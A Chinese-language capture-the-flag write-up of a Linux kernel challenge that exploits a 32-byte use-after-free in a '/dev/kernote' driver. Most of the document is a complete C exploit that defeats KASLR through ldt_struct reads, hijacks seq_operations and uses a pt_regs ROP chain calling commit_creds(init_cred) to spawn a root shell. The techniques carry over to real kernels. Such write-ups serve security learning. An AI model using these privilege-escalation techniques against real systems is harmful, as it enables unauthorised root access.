前言
题目给的文件系统是 ext4,所以我们只需要将其挂载即可使用:
1、创建一个空目录
2、使用 mount 将其挂载即可
3、使用 umount 卸载即可完成打包
开启了 smap、smep、kaslr 和 kpti 保护,并且给了如下内核编译选项:
Here are some kernel config options in case you need it
```
CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
```
可以看到这里使用的是 slab 分配器而不是默认的 slub 分配器:
- 开启了 Random Freelist(slab 的 freelist 会进行一定的随机化)
- 开启了 Hardened Freelist(slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或(参照 glibc 的 safe-linking))
- 开启了 Hardened Usercopy(在向内核拷贝数据时会进行检查,检查地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等)
- 开启了 Static Usermodehelper Path(modprobe_path 为只读,不可修改)
漏洞利用
驱动程序比较简单,就一个 ioctl 函数,实现了四个功能,给了一个 32 字节大小的 UAF,并且有写 8 字节的能力。
漏洞的产生在于在释放了 buf[idx] 时,虽然将其置零了,但是我们可以通过 note 继续操作释放的堆块,这里就导致了 UAF。
这里需要注意的是本题使用的是 slab 分配器,其最小的堆块大小就是 32 字节了,所以这里的 ldt_struct 也是会分配到 32 字节的 object,所以这里选择 ldt_struct 泄漏内核基地址,然后再劫持 seq_operations,利用 pt_regs 一套带走。
exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#define SECONDARY_STARTUP_64 0xffffffff81000040
size_t pop_rdi = 0xffffffff81075c4c; // pop rdi ; ret
size_t init_cred = 0xffffffff8266b780;
size_t commit_creds = 0xffffffff810c9dd0;
size_t add_rsp_xx = 0xFFFFFFFF81A1B270;
size_t swapgs_kpti = 0xFFFFFFFF81C00FB8;
int seq_fd;
char buffer[8];
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
int fd;
void add(size_t idx)
{
ioctl(fd, 0x6667, idx);
}
void dele(size_t idx)
{
ioctl(fd, 0x6668, idx);
}
void note_get(size_t idx)
{
ioctl(fd, 0x6666, idx);
}
void note_write(size_t data)
{
ioctl(fd, 0x6669, data);
}
int main(int argc, char** argv, char** env)
{
bind_core(0);
int res;
int pipe_fd[2];
size_t* buf;
size_t temp;
size_t page_offset_base;
size_t search_addr;
size_t kernel_offset;
struct user_desc desc = { 0 };
fd = open("/dev/kernote", O_RDWR);
if (fd < 0) err_exit("Failed to open /dev/kernote");
add(0);
note_get(0);
dele(0);
page_offset_base = 0xffff888000000000;
desc.base_addr = 0xff0000;
desc.entry_number = 0x8000 / 8;
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while (1)
{
note_write(page_offset_base);
res = syscall(SYS_modify_ldt, 0, &temp, 8);
if (res > 0) break;
else if (res == 0) err_exit("Error in leak page_offset_base by ldt_struct");
page_offset_base += 0x4000000;
}
hexx("page_offset_base", page_offset_base);
pipe(pipe_fd);
buf = malloc(0x1000*sizeof(size_t));
kernel_offset = -1;
search_addr = page_offset_base;
while (1)
{
note_write(search_addr);
if (!fork())
{
res = syscall(SYS_modify_ldt, 0, buf, 0x8000);
for (int i = 0; i < 0x1000; i++)
if (buf[i] > 0xffffffff81000000 && (buf[i]&0xfff) == 0x040)
{
kernel_offset = buf[i] - SECONDARY_STARTUP_64;
break;
}
write(pipe_fd[1], &kernel_offset, 8);
exit(0);
}
wait(NULL);
read(pipe_fd[0], &kernel_offset, 8);
if (kernel_offset != -1) break;
search_addr += 0x8000;
}
hexx("kernel_offset", kernel_offset);
pop_rdi += kernel_offset;
init_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_kpti += kernel_offset;
add_rsp_xx += kernel_offset;
hexx("add_rsp_xx", add_rsp_xx);
add(1);
note_get(1);
dele(1);
seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");
note_write(add_rsp_xx);
asm(
"mov r15, pop_rdi;"
"mov r14, init_cred;"
"mov r13, commit_creds;"
"mov r12, swapgs_kpti;"
"xor rax, rax;"
"mov rdi, seq_fd;"
"mov rsi, buffer;"
"mov rdx, 8;"
"syscall;"
);
hexx("UID", getuid());
system("/bin/sh");
return 0;
}
效果如下:
彩蛋
这里调试时,又无法在 seq_operations->start 这里断住,思考了好久,最后想到了,seq_operations->start 是在 seq_read_iter 中被调用的,所以直接把断点打在 seq_read_iter 这里,然后再跟几步就可以跟到 seq_operations_start 了。以后就直接这样调试了
其实我们要注意栈回溯,如果断点断不下来,我们可以往前回溯,然后跟几步就 ok 了
参考:【CTF.0x05】TCTF2021-FINAL 两道 kernel pwn 题解 - arttnba3's blog